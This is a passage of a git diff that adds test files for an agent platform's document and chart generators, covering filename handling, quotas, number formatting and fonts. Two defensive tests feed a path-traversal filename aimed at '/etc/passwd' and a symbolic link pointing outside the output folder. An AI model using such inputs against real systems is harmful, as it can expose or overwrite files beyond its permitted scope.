Evenfire is an intelligence layer platform for running LLM agents that take real actions, on your infrastructure
TypeScript
fix(mcp-host): make the artifact generators keep what the model sent
marcotebf53bd86ff9ce
diff --git a/mcp-host/src/workflow/__tests__/artifactOutput.test.ts b/mcp-host/src/workflow/__tests__/artifactOutput.test.tsnew file mode 100644index 000000000..78d20a333--- /dev/null+++ b/mcp-host/src/workflow/__tests__/artifactOutput.test.ts@@ -0,0 +1,171 @@+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { artifactResult, capNotes, claimOutputFile, outputFilename } from '../artifactOutput'+import { INTERNAL_TOOLS, enforceQuota } from '../internalTools'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-output-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++describe('outputFilename', () => {+ it('keeps ordinary names and normalizes the extension', () => {+ expect(outputFilename('q3-report.pdf', 'pdf', 'output')).toBe('q3-report.pdf')+ expect(outputFilename('Q3 Report.PDF', 'pdf', 'output')).toBe('Q3_Report.pdf')+ expect(outputFilename('notes', 'md', 'output')).toBe('notes.md')+ expect(outputFilename('report.docx', 'pdf', 'output')).toBe('report.pdf')+ })++ it('keeps a dotted part that is not an extension', () => {+ expect(outputFilename('report.v2', 'pdf', 'output')).toBe('report.v2.pdf')+ })++ it('strips directories', () => {+ expect(outputFilename('../../etc/passwd.md', 'md', 'output')).toBe('passwd.md')+ })++ it('keeps two different non-Latin names apart', () => {+ const a = outputFilename('報告.md', 'md', 'output')+ const b = outputFilename('資料.md', 'md', 'output')+ expect(a).not.toBe(b)+ expect(a).toMatch(/^output-[0-9a-f]{8}\.md$/)+ expect(outputFilename('Informe año 2026.pdf', 'pdf', 'output')).toMatch(+ /^Informe_a_o_2026-[0-9a-f]{8}\.pdf$/+ )+ })++ it('keeps names apart that differ only in characters it replaces', () => {+ const a = outputFilename('Q3 report: final.md', 'md', 'output')+ const b = outputFilename('Q3 report? final.md', 'md', 'output')+ expect(a).not.toBe(b)+ expect(a).toMatch(/^Q3_report_final-[0-9a-f]{8}\.md$/)+ expect(outputFilename('Q3 report final.md', 'md', 'output')).toBe('Q3_report_final.md')+ })++ it('falls back when nothing usable is left', () => {+ expect(outputFilename('', 'md', 'output')).toBe('output.md')+ expect(outputFilename('.hidden', 'md', 'output')).toMatch(/^hidden-[0-9a-f]{8}\.md$/)+ expect(outputFilename('???', 'md', 'output')).toMatch(/^output-[0-9a-f]{8}\.md$/)+ expect(outputFilename(undefined, 'html', 'dashboard')).toBe('dashboard.html')+ })++ it('keeps the extension on a very long name', () => {+ const name = outputFilename(`${'a'.repeat(400)}.pdf`, 'pdf', 'output')+ expect(name.endsWith('.pdf')).toBe(true)+ expect(name.length).toBeLessThanOrEqual(124)+ })+})++describe('claimOutputFile', () => {+ it('replaces an existing file', () => {+ expect(claimOutputFile(outputDir, 'r.pdf')).toMatchObject({+ filename: 'r.pdf',+ replacesExisting: false,+ })+ fs.writeFileSync(path.join(outputDir, 'r.pdf'), 'old')+ expect(claimOutputFile(outputDir, 'r.pdf')).toMatchObject({+ filename: 'r.pdf',+ replacesExisting: true,+ })+ })++ it('writes a regular file where a symbolic link stood, never through it', () => {+ const outside = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-outside-'))+ try {+ fs.writeFileSync(path.join(outside, 'victim.txt'), 'original')+ fs.symlinkSync(path.join(outside, 'victim.txt'), path.join(outputDir, 'r.pdf'))+ fs.symlinkSync(path.join(outside, 'missing.txt'), path.join(outputDir, 'dangling.pdf'))+ const replaced = claimOutputFile(outputDir, 'r.pdf')+ expect(replaced.replacesExisting).toBe(false)+ fs.writeFileSync(replaced.filePath, 'new')+ expect(fs.lstatSync(replaced.filePath).isSymbolicLink()).toBe(false)+ expect(fs.readFileSync(path.join(outside, 'victim.txt'), 'utf8')).toBe('original')+ const dangling = claimOutputFile(outputDir, 'dangling.pdf')+ fs.writeFileSync(dangling.filePath, 'new')+ expect(fs.existsSync(path.join(outside, 'missing.txt'))).toBe(false)+ } finally {+ fs.rmSync(outside, { recursive: true, force: true })+ }+ })+})++describe('artifactResult', () => {+ it('reports the saved name and the warnings', () => {+ fs.writeFileSync(path.join(outputDir, 'r.pdf'), 'pdf')+ const result = artifactResult(+ { filename: 'r.pdf', filePath: path.join(outputDir, 'r.pdf'), replacesExisting: false },+ 'pdf',+ { warnings: ["Image 'x.png' was not found in the output folder and was left out."] }+ )+ expect(result.artifact).toMatchObject({ name: 'r.pdf', format: 'pdf', sizeBytes: 3 })+ expect(result.content).toContain('File generated: r.pdf (pdf).')+ expect(result.content).toContain("Notes: Image 'x.png' was not found")+ })+})++describe('capNotes', () => {+ it('counts a flood of notes that differ only in their numbers, keeping loss notes first', () => {+ const flood = Array.from(+ { length: 1200 },+ (_, i) => `slides[0].table.rows[${i}][2] is longer than 500 characters and was shortened.`+ )+ const notes = capNotes([...flood, "Image 'x.png' was not found and was left out."])+ expect(notes[0]).toContain('left out')+ expect(notes).toHaveLength(4)+ expect(notes[3]).toContain('(1197 more like it.)')+ })++ it('keeps notes about different columns apart', () => {+ const notes = capNotes(["column 'A' is text.", "column 'B' is text.", "column 'C' is text."])+ expect(notes).toHaveLength(3)+ })+})++describe('enforceQuota', () => {+ it('does not count a file the write replaces', () => {+ const prev = process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MB+ process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MB = '1'+ try {+ fs.writeFileSync(path.join(outputDir, 'big.bin'), Buffer.alloc(700 * 1024))+ expect(() => enforceQuota(outputDir, 700 * 1024)).toThrow(/Output quota exceeded/)+ expect(() => enforceQuota(outputDir, 700 * 1024, 700 * 1024)).not.toThrow()+ } finally {+ if (prev === undefined) delete process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MB+ else process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MB = prev+ }+ })+})++describe('generators through the shared output path', () => {+ const markdown = () => INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_markdown')!++ it('keeps two non-Latin names from overwriting each other', async () => {+ const a = await markdown().execute({ filename: '報告.md', content: 'uno' }, outputDir)+ const b = await markdown().execute({ filename: '資料.md', content: 'dos' }, outputDir)+ expect(a.artifact!.name).not.toBe(b.artifact!.name)+ expect(fs.readFileSync(a.artifact!.path, 'utf8')).toBe('uno')+ expect(fs.readFileSync(b.artifact!.path, 'utf8')).toBe('dos')+ })++ it('replaces a file of the same name', async () => {+ await markdown().execute({ filename: 'r.md', content: 'first' }, outputDir)+ const again = await markdown().execute({ filename: 'r.md', content: 'second' }, outputDir)+ expect(again.artifact!.name).toBe('r.md')+ expect(fs.readFileSync(path.join(outputDir, 'r.md'), 'utf8')).toBe('second')+ })++ it('cleans control characters and CRLF before a generator sees them', async () => {+ const result = await markdown().execute(+ { filename: 'log.md', content: '# Build\r\n\u001b[31mFAILED\u001b[0m\u0007' },+ outputDir+ )+ expect(fs.readFileSync(result.artifact!.path, 'utf8')).toBe('# Build\nFAILED')+ })+})diff --git a/mcp-host/src/workflow/__tests__/chartPlugins.test.ts b/mcp-host/src/workflow/__tests__/chartPlugins.test.tsnew file mode 100644index 000000000..4d953985d--- /dev/null+++ b/mcp-host/src/workflow/__tests__/chartPlugins.test.ts@@ -0,0 +1,240 @@+/**+ * Number formatting is what the reader actually sees on a chart, so the shapes+ * it produces are pinned here rather than left to the renderer.+ */+import { describe, expect, it } from 'vitest'+import type { Chart } from 'chart.js'+import {+ type ValueLabelOptions,+ formatValue,+ sliceColors,+ valueLabelsPlugin,+} from '../chartPlugins'+import { CHART_THEMES } from '../internalTools'++const base: ValueLabelOptions = {+ format: 'auto',+ textColor: '#000000',+ backgroundColor: '#ffffff',+}++const fmt = (v: number, o: Partial<ValueLabelOptions> = {}): string =>+ formatValue(v, { ...base, ...o })++describe('formatValue', () => {+ it('groups thousands below the abbreviation threshold', () => {+ expect(fmt(1234)).toBe('1,234')+ expect(fmt(999)).toBe('999')+ expect(fmt(-1234)).toBe('-1,234')+ })++ it('abbreviates large numbers under auto', () => {+ expect(fmt(120_000)).toBe('120K')+ expect(fmt(3_400_000)).toBe('3.4M')+ expect(fmt(2_000_000_000)).toBe('2B')+ })++ it('always abbreviates under compact', () => {+ expect(fmt(1500, { format: 'compact' })).toBe('1.5K')+ expect(fmt(950, { format: 'compact' })).toBe('950')+ })++ it('keeps cents under currency and decimals under compact', () => {+ expect(fmt(4.99, { format: 'currency' })).toBe('$4.99')+ expect(fmt(0.25, { format: 'currency' })).toBe('$0.25')+ expect(fmt(1234.5, { format: 'currency' })).toBe('$1,234.50')+ expect(fmt(12.5, { format: 'compact' })).toBe('12.5')+ })++ it('prefixes the symbol under currency', () => {+ expect(fmt(1200, { format: 'currency' })).toBe('$1,200')+ expect(fmt(1_200_000, { format: 'currency' })).toBe('$1.2M')+ expect(fmt(1200, { format: 'currency', currencySymbol: '€' })).toBe('€1,200')+ expect(fmt(-500, { format: 'currency' })).toBe('-$500')+ })++ it('appends the sign under percent', () => {+ expect(fmt(94.5, { format: 'percent' })).toBe('94.5%')+ expect(fmt(12, { format: 'percent' })).toBe('12%')+ })++ it('honours an explicit decimal count', () => {+ expect(fmt(3.14159, { decimals: 2 })).toBe('3.14')+ expect(fmt(3, { decimals: 2 })).toBe('3')+ })++ it('keeps small fractions readable without an explicit count', () => {+ expect(fmt(0.5)).toBe('0.5')+ expect(fmt(12.5)).toBe('12.5')+ })++ it('returns nothing for a value that cannot be drawn', () => {+ expect(fmt(NaN)).toBe('')+ expect(fmt(Infinity)).toBe('')+ })+})++interface Box {+ x: number+ y: number+ w: number+ h: number+}++/** A chart stand-in whose context records every label drawn. */+function fakeChart(+ datasets: number[][],+ at: (di: number, ei: number) => { x: number; y: number; width?: number },+ legend?: Box+) {+ const drawn: Box[] = []+ const ctx = {+ save() {},+ restore() {},+ measureText: (text: string) => ({ width: text.length * 7 }),+ strokeText() {},+ fillText(text: string, x: number, y: number) {+ drawn.push({ x: x - (text.length * 7) / 2, y: y - 7, w: text.length * 7, h: 14 })+ },+ }+ const chart = {+ ctx,+ config: { type: 'bar' },+ data: { datasets: datasets.map(data => ({ data })) },+ width: 200,+ height: 150,+ chartArea: { top: 30, bottom: 130, left: 20, right: 200 },+ legend: legend+ ? { left: legend.x, top: legend.y, right: legend.x + legend.w, bottom: legend.y + legend.h }+ : undefined,+ getDatasetMeta: (di: number) => ({+ hidden: false,+ data: datasets[di].map((_, ei) => ({ ...at(di, ei), base: 130 })),+ }),+ }+ return { chart: chart as unknown as Chart, drawn }+}++const overlaps = (a: Box, b: Box): boolean =>+ a.x < b.x + b.w && b.x < a.x + a.w && a.y < b.y + b.h && b.y < a.y + a.h++describe('value labels', () => {+ it('skips a label that would print over one already drawn, across series', () => {+ const { chart, drawn } = fakeChart(+ [+ [12000, 8000, 9000],+ [11000, 8500, 9500],+ ],+ // Two series whose marks sit almost on top of each other.+ (di, ei) => ({ x: 40 + ei * 20 + di * 4, y: 60 })+ )+ valueLabelsPlugin({ ...base, fontScale: 1 }).afterDraw!(chart, {} as never, {})+ expect(drawn.length).toBeGreaterThan(0)+ for (let i = 0; i < drawn.length; i++) {+ for (let j = i + 1; j < drawn.length; j++) expect(overlaps(drawn[i], drawn[j])).toBe(false)+ }+ })++ it('keeps a label off the bars of the other series', () => {+ // Grouped bars 10px wide; the short bar's label is wider than its bar.+ const { chart, drawn } = fakeChart([[12000], [219.5]], (di, _ei) => ({+ x: 60 + di * 10,+ y: di === 0 ? 50 : 125,+ width: 10,+ }))+ valueLabelsPlugin({ ...base, fontScale: 1 }).afterDraw!(chart, {} as never, {})+ const tallBar = { x: 55, y: 50, w: 10, h: 80 }+ for (const box of drawn) {+ if (box.x + box.w / 2 > 65) expect(overlaps(box, tallBar)).toBe(false)+ }+ expect(drawn.length).toBe(1)+ })++ it('gives each ring of a doughnut its own share', () => {+ const drawn: string[] = []+ const datasets = [+ [50, 50],+ [10, 30],+ ]+ const chart = {+ ctx: {+ save() {},+ restore() {},+ measureText: (text: string) => ({ width: text.length * 7 }),+ strokeText() {},+ fillText(text: string) {+ drawn.push(text)+ },+ },+ config: { type: 'doughnut' },+ data: { datasets: datasets.map(data => ({ data })) },+ width: 400,+ height: 400,+ chartArea: { top: 0, bottom: 400, left: 0, right: 400 },+ getDatasetMeta: (di: number) => ({+ hidden: false,+ data: datasets[di].map((_, ei) => ({+ getCenterPoint: () => ({ x: 100 + ei * 150, y: 100 + di * 150 }),+ options: {},+ })),+ }),+ }+ valueLabelsPlugin({ ...base, fontScale: 1 }).afterDraw!(+ chart as unknown as Chart,+ {} as never,+ {}+ )+ expect(drawn).toEqual(expect.arrayContaining(['10 (25%)', '30 (75%)', '50 (50%)']))+ })++ it('keeps labels off the legend', () => {+ const legend = { x: 0, y: 40, w: 200, h: 30 }+ const { chart, drawn } = fakeChart([[5, 6]], (_, ei) => ({ x: 60 + ei * 80, y: 50 }), legend)+ valueLabelsPlugin({ ...base, fontScale: 1 }).afterDraw!(chart, {} as never, {})+ for (const box of drawn) expect(overlaps(box, legend)).toBe(false)+ })+})++describe('slice colors', () => {+ const palette = ['#1e40af', '#059669', '#dc2626']++ it('pads a short list from the palette rather than cycling it', () => {+ const { colors, padded } = sliceColors(4, ['#16a34a', '#f59e0b'], palette, '#ffffff')+ expect(colors.slice(0, 2)).toEqual(['#16a34a', '#f59e0b'])+ expect(new Set(colors).size).toBe(4)+ expect(padded).toBe(true)+ })++ it('shades the palette past its end, and never gives the last slice the first color', () => {+ const { colors, repeated } = sliceColors(8, undefined, palette, '#ffffff')+ expect(new Set(colors).size).toBe(8)+ expect(repeated).toBe(false)+ const many = sliceColors(40, undefined, palette, '#ffffff')+ expect(many.colors[39]).not.toBe(many.colors[0])+ expect(many.repeated).toBe(true)+ })++ it.each(Object.entries(CHART_THEMES))('gives %s at least 14 distinct slice colors', (_, t) => {+ const { colors, repeated } = sliceColors(14, undefined, t.palette, t.backgroundColor)+ expect(new Set(colors).size).toBe(14)+ expect(repeated).toBe(false)+ })+})++describe('chart themes', () => {+ const luminance = (hex: string): number => {+ const [r, g, b] = [1, 3, 5].map(i => {+ const c = parseInt(hex.slice(i, i + 2), 16) / 255+ return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4+ })+ return 0.2126 * r + 0.7152 * g + 0.0722 * b+ }+ const contrast = (a: string, b: string): number => {+ const [hi, lo] = [luminance(a), luminance(b)].sort((x, y) => y - x)+ return (hi + 0.05) / (lo + 0.05)+ }++ it.each(Object.entries(CHART_THEMES))('%s draws secondary text at 4.5:1 or more', (_, theme) => {+ expect(contrast(theme.mutedTextColor, theme.backgroundColor)).toBeGreaterThanOrEqual(4.5)+ })+})diff --git a/mcp-host/src/workflow/__tests__/fonts.test.ts b/mcp-host/src/workflow/__tests__/fonts.test.tsnew file mode 100644index 000000000..4768f1d52--- /dev/null+++ b/mcp-host/src/workflow/__tests__/fonts.test.ts@@ -0,0 +1,197 @@+/**+ * Text that is asked for must be drawable, and text that is not must be+ * rewritten rather than emitted as a wrong glyph or a blank box, whatever fonts+ * the image carries.+ */+import { describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import {+ CHART_FONT_FAMILY,+ CHART_FONT_STACK,+ PDF_FONT_FAMILY,+ PDF_MONO_FAMILY,+ asciiStandIn,+ canRender,+ ensureFontsReady,+ pdfFontDescriptors,+ pdfGlyphSource,+ sanitizeForFont,+} from '../fonts'+import { INTERNAL_TOOLS } from '../internalTools'+import { readPdf } from './support/pdfText'++describe('font provisioning', () => {+ it('registers a face without relying on the base image', () => {+ ensureFontsReady()+ expect(CHART_FONT_STACK).toContain(CHART_FONT_FAMILY)+ // Latin must be drawable on any image.+ expect(canRender('A')).toBe(true)+ expect(canRender('é')).toBe(true)+ })++ it('supplies pdfmake with embedded faces rather than a standard-14 name', () => {+ const descriptors = pdfFontDescriptors()+ const faces = descriptors[PDF_FONT_FAMILY]+ expect(faces).toBeDefined()+ for (const key of ['normal', 'bold', 'italics', 'bolditalics'] as const) {+ const face = faces[key]+ // An embedded buffer, a path to a real face, or a face inside a+ // collection — never the name of a core PDF font, which covers Latin-1 only.+ const file = Array.isArray(face) ? face[0] : face+ expect(Buffer.isBuffer(file) || (typeof file === 'string' && file.includes('/'))).toBe(true)+ }+ })++ it('registers a monospaced family for code', () => {+ const faces = pdfFontDescriptors()[PDF_MONO_FAMILY]+ expect(faces).toBeDefined()+ expect(Buffer.isBuffer(faces.normal) || typeof faces.normal === 'string').toBe(true)+ })++ it('never hands pdfmake a bare TrueType Collection path', () => {+ // pdfkit subsets a single face and cannot open a `.ttc` from a path alone;+ // doing so fails the whole document with "createSubset is not a function".+ // A collection is only usable as [path, postScriptName], which is how CJK+ // reaches a PDF at all, since Debian packages Noto CJK only that way.+ for (const faces of Object.values(pdfFontDescriptors())) {+ for (const face of Object.values(faces)) {+ if (typeof face === 'string') {+ expect(face.toLowerCase().endsWith('.ttc'), `${face} is a bare collection`).toBe(false)+ }+ if (Array.isArray(face)) {+ expect(face).toHaveLength(2)+ expect(typeof face[0]).toBe('string')+ // The face name is what pdfkit looks the glyph source up by.+ expect(typeof face[1]).toBe('string')+ expect(face[1].length).toBeGreaterThan(0)+ }+ }+ }+ })+})++describe('glyph coverage', () => {+ it('reports ASCII as always renderable without measuring', () => {+ expect(canRender('x')).toBe(true)+ expect(canRender('9')).toBe(true)+ })+})++describe('sanitizeForFont', () => {+ it('leaves pure ASCII untouched', () => {+ const text = 'Revenue grew 12% in Q3 (USD 1,200).'+ expect(sanitizeForFont(text)).toBe(text)+ })++ it('never leaves a character that cannot be drawn', () => {+ const risky = '→ ✓ ✗ ≈ ≥ ≤ • — … α привет 中文 🎉'+ for (const ch of sanitizeForFont(risky)) expect(canRender(ch)).toBe(true)+ })++ it('substitutes rather than drops when a stand-in exists', () => {+ // Whatever the image's fonts cover, an arrow must survive as an arrow or as+ // its ASCII form — it must never vanish, which would change the meaning.+ const out = sanitizeForFont('cost A → B')+ expect(out.startsWith('cost A ')).toBe(true)+ expect(out === 'cost A → B' || out === 'cost A -> B').toBe(true)+ })++ it('drops zero-width characters that would confuse measurement', () => {+ expect(sanitizeForFont('a\u200Bb\uFEFFc')).toBe('abc')+ })++ it('handles an empty string', () => {+ expect(sanitizeForFont('')).toBe('')+ })+})++describe('coverage detection distinguishes a glyph from the missing-glyph box', () => {+ it('does not rewrite a character the chart fonts can draw', () => {+ // A glyph that darkens as many pixels as the missing-glyph box must still count as drawable.+ for (const ch of ['≥', '≤', '±', '×', '÷', 'α', 'я', 'é', '€']) {+ if (canRender(ch)) {+ expect(sanitizeForFont(ch), `${ch} was rewritten despite being drawable`).toBe(ch)+ }+ }+ })++ it('agrees with itself across repeated calls', () => {+ // The answer is cached per codepoint; a probe that is not deterministic+ // would make the first call decide every later one.+ for (const ch of ['→', '✓', '中', '≥']) {+ const first = canRender(ch)+ expect(canRender(ch)).toBe(first)+ expect(canRender(ch)).toBe(first)+ }+ })+})++describe('per-character fallback for PDFs', () => {+ const glyphs = pdfGlyphSource()++ it('sets plain text in the body face and code in the code face', () => {+ expect(glyphs.familyFor('A'.codePointAt(0)!, PDF_FONT_FAMILY)).toBe(PDF_FONT_FAMILY)+ expect(glyphs.familyFor('A'.codePointAt(0)!, PDF_MONO_FAMILY)).toBe(PDF_MONO_FAMILY)+ })++ it('keeps an accented letter in the code face, even when that is the standard Courier', () => {+ expect(glyphs.familyFor('\u00E9'.codePointAt(0)!, PDF_MONO_FAMILY)).toBe(PDF_MONO_FAMILY)+ })++ it('reports no face for a private-use character', () => {+ expect(glyphs.familyFor(0xe000, PDF_FONT_FAMILY)).toBeUndefined()+ })++ it('names every family it hands out in the printer descriptors', () => {+ const family = glyphs.familyFor(0x0645, PDF_FONT_FAMILY)+ const descriptors = glyphs.descriptors(family ? [family] : [])+ expect(descriptors[PDF_FONT_FAMILY]).toBeDefined()+ expect(descriptors[PDF_MONO_FAMILY]).toBeDefined()+ if (family) expect(descriptors[family]).toBeDefined()+ })++ it('measures the body face at the size asked for', () => {+ const at10 = glyphs.measure('Revenue', PDF_FONT_FAMILY, 10, false)+ expect(at10).toBeGreaterThan(0)+ expect(glyphs.measure('Revenue', PDF_FONT_FAMILY, 20, false)).toBeCloseTo(at10 * 2, 1)+ })++ it('writes status emoji as text', () => {+ expect(asciiStandIn('\u2705')).toBe('OK')+ expect(asciiStandIn('\u274C')).toBe('X')+ expect(asciiStandIn('\u{1F7E2}')).toBe('(green)')+ })+})++// Only images that ship Arabic and Hebrew faces can run this; elsewhere the+// typesetter tests cover the ordering with made-up faces.+const hasRtlFaces =+ pdfGlyphSource().familyFor(0x0645, PDF_FONT_FAMILY) !== undefined &&+ pdfGlyphSource().familyFor(0x05e9, PDF_FONT_FAMILY) !== undefined++describe.skipIf(!hasRtlFaces)('Arabic and Hebrew in a PDF', () => {+ it('embeds faces for both scripts and leaves nothing out', async () => {+ const outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-rtl-'))+ try {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_pdf')!+ const result = await tool.execute(+ {+ filename: 'rtl.pdf',+ title: '\u062A\u0642\u0631\u064A\u0631',+ body: '\u0645\u0631\u062D\u0628\u0627 \u0628\u0627\u0644\u0639\u0627\u0644\u0645\n\n\u05E9\u05DC\u05D5\u05DD 100',+ },+ outputDir+ )+ expect(result.success).toBe(true)+ expect(result.content).not.toMatch(/left out/)+ const pages = await readPdf(path.join(outputDir, 'rtl.pdf'))+ const fonts = new Set(pages[0].fragments.map(f => f.font))+ expect([...fonts].some(f => /Arabic/i.test(f))).toBe(true)+ expect([...fonts].some(f => /Hebrew/i.test(f))).toBe(true)+ } finally {+ fs.rmSync(outputDir, { recursive: true, force: true })+ }+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.charts.delivery.test.ts b/mcp-host/src/workflow/__tests__/internalTools.charts.delivery.test.tsnew file mode 100644index 000000000..6dbcf7f65--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.charts.delivery.test.ts@@ -0,0 +1,224 @@+/**+ * How a chart reaches the next step: the arguments both paths accept, the name+ * it is saved under, and the size limits it is held to.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolDefinition, InternalToolResult } from '../types'+import { workflowRouter as routerFor } from './support/workflowRouter'+import { zipEntries } from './support/zipEntries'++const chart = (): InternalToolDefinition =>+ INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_chart')!++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-chart-delivery-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++const workflowRouter = () => routerFor(outputDir)++/** Width and height from the PNG header. */+function pngSize(file: string): { width: number; height: number } {+ const header = fs.readFileSync(file).subarray(16, 24)+ return { width: header.readUInt32BE(0), height: header.readUInt32BE(4) }+}++const yearly = {+ filename: 'revenue.png',+ type: 'bar',+ title: 'Revenue',+ data: { labels: [2023, 2024, 2025], datasets: [{ label: 'Revenue', data: [10, 14, 19] }] },+}++describe('numeric chart labels', () => {+ it('are accepted on the workflow path, which validates before rendering', async () => {+ const { result } = await workflowRouter().callTool('clerum__generate_chart', yearly)+ expect(result.isError).toBe(false)+ expect(fs.existsSync(path.join(outputDir, 'revenue.png'))).toBe(true)+ })+})++describe('point shapes', () => {+ const pairs = {+ filename: 'pairs.png',+ type: 'scatter',+ title: 'Pairs',+ data: {+ datasets: [+ {+ label: 'Run',+ data: [+ [1, 2],+ [2, 3],+ ],+ },+ ],+ },+ }++ it('accepts [x, y] pairs on both paths', async () => {+ const direct = await chart().execute(structuredClone(pairs), outputDir)+ expect(direct.success).toBe(true)+ const { result } = await workflowRouter().callTool('clerum__generate_chart', pairs)+ expect(result.isError).toBe(false)+ expect(fs.existsSync(path.join(outputDir, 'pairs.png'))).toBe(true)+ })++ it('draws {x, y} points on a line chart at their x', async () => {+ const result = await chart().execute(+ {+ filename: 'xy-line.png',+ type: 'line',+ title: 'XY',+ data: {+ datasets: [+ {+ data: [+ { x: 10, y: 2 },+ { x: 20, y: 3 },+ ],+ },+ ],+ },+ },+ outputDir+ )+ expect(result.success).toBe(true)+ expect(result.content).toContain('{x, y}')+ expect(result.content).not.toContain('numbered')+ })+})++describe('chaining a chart into a document', () => {+ it('tells the model to pass the saved file name, not a path it cannot know', async () => {+ const description = chart().description+ expect(description).not.toMatch(/file path under the output dir/)+ expect(description).toMatch(/file name/)++ const result = (await chart().execute(yearly, outputDir)) as InternalToolResult+ expect(result.content).toContain("images: [{ path: 'revenue.png' }]")+ })++ it('embeds by that name in a PDF on both paths', async () => {+ await chart().execute(yearly, outputDir)+ const pdf = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_pdf')!+ const args = { filename: 'report.pdf', body: 'Revenue', images: [{ path: 'revenue.png' }] }++ const chat = await pdf.execute(args, outputDir)+ expect(chat.success).toBe(true)+ expect(chat.content ?? '').not.toMatch(/not found/)++ const { result } = await workflowRouter().callTool('clerum__generate_pdf', args)+ expect(result.isError).toBe(false)+ })++ it('names the per-sheet field for XLSX, which has no top-level images', async () => {+ expect(chart().description).toMatch(/sheets\[\]\.images\[\]\.path to the XLSX generator/)+ expect(chart().description).not.toMatch(/PDF, DOCX or XLSX generator/)++ const result = (await chart().execute(yearly, outputDir)) as InternalToolResult+ expect(result.content).toContain("sheets[].images: [{ path: 'revenue.png' }] to the XLSX")+ expect(result.content).not.toContain('PDF, DOCX or XLSX generator')+ })++ it('embeds by that name in an XLSX sheet on both paths', async () => {+ await chart().execute(yearly, outputDir)+ const xlsx = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_xlsx')!+ const sheet = { name: 'Data', rows: [['2025', 19]], images: [{ path: 'revenue.png' }] }+ const media = (file: string) =>+ [...zipEntries(path.join(outputDir, file)).keys()].filter(n => /^xl\/media\/.+\.png$/.test(n))++ const chat = await xlsx.execute({ filename: 'chat.xlsx', sheets: [sheet] }, outputDir)+ expect(chat.success).toBe(true)+ expect(media('chat.xlsx')).toHaveLength(1)++ const { result } = await workflowRouter().callTool('clerum__generate_xlsx', {+ filename: 'workflow.xlsx',+ sheets: [sheet],+ })+ expect(result.isError).toBe(false)+ expect(media('workflow.xlsx')).toHaveLength(1)+ })+})++describe('chart names', () => {+ it('replaces a file of the same name, which later steps embed by that name', async () => {+ const router = workflowRouter()+ await router.callTool('clerum__generate_chart', yearly)+ const { result } = await router.callTool('clerum__generate_chart', yearly)+ expect(result.isError).toBe(false)+ expect(fs.readdirSync(outputDir)).toEqual(['revenue.png'])+ })++ it('keeps non-Latin names apart and long names ending in .png', async () => {+ const a = await chart().execute({ ...yearly, filename: '销售报告' }, outputDir)+ const b = await chart().execute({ ...yearly, filename: '财务报告' }, outputDir)+ const long = await chart().execute({ ...yearly, filename: 'a'.repeat(250) }, outputDir)+ expect(a.artifact?.name).not.toBe(b.artifact?.name)+ for (const r of [a, b, long]) expect(r.artifact?.name).toMatch(/^[A-Za-z0-9._-]+\.png$/)+ expect(fs.readdirSync(outputDir)).toHaveLength(3)+ })+})++describe('chart options', () => {+ it('ignores a decimals value outside 0 to 20 with a note, instead of failing', async () => {+ const result = await chart().execute({ ...yearly, decimals: -1 }, outputDir)+ expect(result.success, result.error).toBe(true)+ expect(result.content).toContain('decimals -1 is not a whole number from 0 to 20')+ })+})++describe('chart size limits', () => {+ it('draws the large sizes the schema advertises on an empty folder', async () => {+ const result = await chart().execute({ ...yearly, width: 2000, height: 1700 }, outputDir)+ expect(result.success).toBe(true)+ const size = pngSize(result.artifact!.path)+ // Drawn below the 2x density to stay within the canvas budget, but never below 1x.+ expect(size.width).toBeGreaterThanOrEqual(2000)+ expect(size.width).toBeLessThanOrEqual(4000)+ expect(size.width / size.height).toBeCloseTo(2000 / 1700, 2)+ })++ it('reports the pixel size of the PNG it wrote', async () => {+ const result = await chart().execute({ ...yearly, width: 2000, height: 1700 }, outputDir)+ const size = pngSize(result.artifact!.path)+ expect(result.content).toContain(`(${size.width}x${size.height} px,`)+ })++ it('says when a width or height was out of range and what was drawn instead', async () => {+ const result = await chart().execute({ ...yearly, width: 1e9, height: 1 }, outputDir)+ expect(result.success).toBe(true)+ expect(result.content).toContain('width 1000000000 is over the 4000 maximum')+ expect(result.content).toContain('height 1 is under the 100 minimum')+ const size = pngSize(result.artifact!.path)+ expect(size.width / size.height).toBeCloseTo(4000 / 100, 1)+ })++ it('charges the quota for the PNG written, not for the canvas it was drawn on', async () => {+ const prev = process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MB+ process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MB = '1'+ try {+ const result = await chart().execute({ ...yearly, width: 1600, height: 900 }, outputDir)+ expect(result.success).toBe(true)+ } finally {+ if (prev === undefined) delete process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MB+ else process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MB = prev+ }+ })++ it('refuses a canvas over the pixel budget with a message that says what to change', async () => {+ const result = await chart().execute({ ...yearly, width: 4000, height: 4000 }, outputDir)+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/Chart too large.*Reduce width or height/)+ expect(result.error).not.toMatch(/quota/i)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.charts.rendering.test.ts 